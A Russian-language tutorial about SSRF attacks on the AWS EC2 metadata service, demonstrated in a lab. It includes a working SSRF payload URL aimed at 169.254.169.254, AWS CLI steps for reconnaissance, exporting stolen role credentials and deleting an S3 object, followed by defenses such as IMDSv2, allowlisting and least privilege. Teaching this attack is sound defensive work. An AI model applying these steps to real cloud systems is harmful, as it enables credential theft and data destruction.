Сегодня предлагаю тебе узнать, как одна уязвимость в веб-приложении может открыть злоумышленникам доступ к секретам всего облака. Не слабо, да!? Мы разберем механизм атаки через SSRF на службу метаданных EC2, покажем реальные примеры из практики и дадим конкретные рекомендации по защите, включая переход на IMDSv2 и принцип наименьших привилегий. Ну, что welcome на стенд!

SSRF - Невидимая угроза изнутри
Безопасность облачной инфраструктуры часто сравнивают с защитой периметра, но что, если угроза таится внутри? Server-Side Request Forgery (SSRF) — это уязвимость, которая позволяет атакующему заставить сервер делать HTTP-запросы от своего имени. В контексте облачных сред, таких как Amazon Web Services (AWS), успешная SSRF-атака может привести к компрометации не просто одного сервера, а всей облачной учетной записи.
Цель этой статьи — детально разобрать, как злоумышленники используют SSRF для кражи временных учётных данных через Service Metadata Service (IMDS), и какие практические шаги можно предпринять для построения эффективной обороны.
Что такое IMDS и почему он — лакомая цель?
Instance Metadata Service (IMDS) — это служба, доступная на каждом EC2-инстансе по link-local адресу 169.254.169.254
. Она возвращает сведения о конфигурации и сети, а главное — временные учётные данные IAM-роли, привязанной к инстансу.
Эти временные ключи позволяют обращаться к AWS-сервисам (S3, DynamoDB, EC2 и др.) в рамках прав, заданных IAM-ролью. По замыслу, доступ к IMDS возможен только с самой виртуальной машины. Однако если на инстансе работает уязвимое к SSRF приложение, атакующий может прокинуть запросы к IMDS «через» приложение — как будто они исходят от сервера.
ДЕМО. Эксплуатация уязвимости на стенде
Что получает злоумышленник при наличии SSRF?
Он может обратиться к IMDS и получить временные учётные данные прикреплённой роли, а затем — провести разведку IAM-пользователей, групп и политик, найти ошибки конфигурации и подготовить эскалацию привилегий.
Разведка профиля с помощью Python-скрипта. Погнали!
Запускаем условный скрипт enumerate-iam.py
, используя временные ключи пользователя с ограниченными правами gc_editor
:
python enumerate-iam.py --access-key AKIAEXAMPLEGC123 --secret-key wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE

Фрагмент журнала:
2025-11-02 17:00:54,415 - [INFO] Starting permission enumeration for access-key-id "AKIAEXAMPLEGC123"
2025-11-02 17:01:16,205 - [INFO] get_account_authorization_details succeeded
2025-11-02 17:01:16,213 - [INFO] ...
Из вывода видно, что у пользователя gc_editor
прикреплены политики, например:
AmazonEC2FullAccess
— полный контроль над EC2;IAMReadOnlyAccess
— чтение IAM-объектов;-
AmazonS3ReadOnlyAccess
— чтение S3.Figure 2 — IAM user details
Также обнаружен профиль инстанса с ролью, обладающей высокими правами.

Кража учётных данных EC2 через SSRF
Шаг 1. Разведка EC2-инстансов
После настройки AWS CLI временными данными можно взаимодействовать со средой прямо из терминала:
aws configure
# AWS Access Key ID: AKIAEXAMPLEGC123
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE
# Default region name: us-east-1
# Default output format: json

Перечислим инстансы и их состояния:
aws ec2 describe-instances \
--query 'Reservations[].Instances[].[Tags[?Key==`Name`]|[0].Value, State.Name]' \
--output text
# gc-web1 terminated
# gc-server stopped

Выведем имена и Instance IDs:
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value | [0], InstanceId]' \
--output text
# gc-web1 i-0abc1234def567890
# gc-server i-0123456789abcdef0

Запустим остановленный инстанс:
aws ec2 start-instances --instance-ids i-0123456789abcdef0
Проверим, что состояние изменилось:
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value[0], State.Name]' \
--output text
# gc-web1 terminated
# gc-server running
Все Ок. Получим публичный IP работающего инстанса (в демо — веб-приложение, уязвимое к SSRF, доступно по 203.0.113.42
):
aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress" --output text
# 203.0.113.42
Шаг 2. Эксплуатация SSRF
В браузере открываем демо-приложение на http://203.0.113.42/
. Уязвимый эндпоинт принимает URL и запрашивает его от имени сервера.
Цель злоумышленника — заставить приложение обратиться к IMDS на 169.254.169.254
и получить список метаданных:
http://203.0.113.42/fetch.php?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F

Ответ обычно включает категории: ami-id
, hostname
, iam/
, security-groups
, и др.
Далее запрашивается раздел iam/security-credentials/
, чтобы узнать имя роли, а затем — JSON с временными ключами этой роли. В учебной среде это роль gc-ec2-maint
.

(Полезные нагрузки и адреса приведены в обезвреженном виде; не используйте их против чужих систем.)
Эскалация привилегий через IAM-роль (gc-ec2-maint)
Попробуем удалить файл secrets.txt
в бакете. Сначала это может не получиться из-за недостаточных прав прежних ключей:
aws s3 ls s3://gc-bucket/
aws s3 rm s3://gc-bucket/secrets.txt
Экспортируем временные креды, полученные через IMDS (пример санитизирован):
export AWS_ACCESS_KEY_ID=AKIAEXAMPLEGC123
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLE
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj...<snip>..."

С новыми правами роли gc-ec2-maint
удаление проходит успешно:
aws s3 rm s3://gc-bucket/secrets.txt
aws s3 ls s3://gc-bucket/
Подтвердим «кто мы» в текущей сессии:
aws sts get-caller-identity
# "Arn": "arn:aws:sts::123456789012:assumed-role/gc-ec2-maint/i-0123456789abcdef0"

Отлично, дело сделано!
Что можно сделать с украденными credentials?
Ущерб зависит от уровня привилегий роли, прикреплённой к инстансу:
Кража данных. При правах чтения из Amazon S3 злоумышленник может скачать конфиденциальные данные.
Латеральное перемещение. Комбинируя права и сервисы, атакующий исследует ресурсы всего аккаунта. Риск эксплуатации еще "каких-нибудь" дыр.
Криптомайнинг / удалённое выполнение. Имея широкие права (например,
ec2:RunInstances
), можно развернуть ресурсоёмкие задачи или выполнять произвольный код.Полная компрометация. Роли с админ-политиками открывают практически полный контроль над средой.
Как закрыть уязвимость?
Нужен комплексный подход: конфигурация облака, код приложения и процессы управления доступом.
1) Принудительный переход на IMDSv2 (ключевая мера)
IMDSv2 использует сессионную модель: сначала PUT
для получения токена, далее — передача токена в заголовке каждого запроса. Это блокирует большинство простых SSRF-сценариев. После миграции рекомендуется полностью отключить IMDSv1. Это самое простое и быстрое решение.
2) Строгая валидация пользовательского ввода
Не доверяйте входящим данным. Вместо чёрного списка «плохих» адресов используйте белый список (allowlist) доменов/URL, к которым может обращаться приложение. Отклоняйте нестандартные схемы (file://
, gopher://
, и т. п.) и обращения к внутренним адресам. Это must have для всей облачной инфраструктуры в продакшене!
3) Принцип наименьших привилегий (PoLP)
Назначайте инстансам минимально необходимый набор прав. Регулярно проводите аудит IAM-политик. Это не предотвратит кражу, но значительно ограничит ущерб. Базовое требование, must have для DevSecOps
4) Сетевые меры контроля
Ограничивайте исходящий трафик группами безопасности (Security Groups) и сетевыми ACL. Помните: IMDS — link-local сервис, обычно доступный без ограничений; для критичных систем обеспечьте изоляцию во VPC и дополнительные правила.
Заключение
SSRF в сочетании с доступной службой метаданных EC2 — это опасный дуэт, способный привести к масштабной утечке данных и компрометации облачной инфраструктуры. Осознание этого вектора атаки — первый шаг к защите. Ключевые меры, такие как обязательное использование IMDSv2, строгая валидация ввода и соблюдение принципа наименьших привилегий для IAM-ролей, позволяют создать глубоко эшелонированную оборону и свести риски к минимуму.
Безопасность — это непрерывный процесс, и защита метаданных ваших инстансов должна быть одним из его приоритетов.

Ссылки на документацию
Для более глубокого изучения официальных рекомендаций AWS по безопасности, ознакомьтесь с этими материалами:
AWS Documentation: Обзор IMDS — общее описание службы метаданных.
AWS Security Blog: Внедрение IMDSv2 — официальный блог, объясняющий важность и механизм работы второй версии IMDS.
AWS Documentation: Настройка IMDSv2 — практическое руководство по принудительному включению IMDSv2.
AWS Documentation: IAM Roles for EC2 — как работать с IAM-ролями для сервиса EC2.
AWS Well-Architected Framework: Security Pillar — общие принципы безопасности в AWS, включая лучшие практики для IAM и EC2.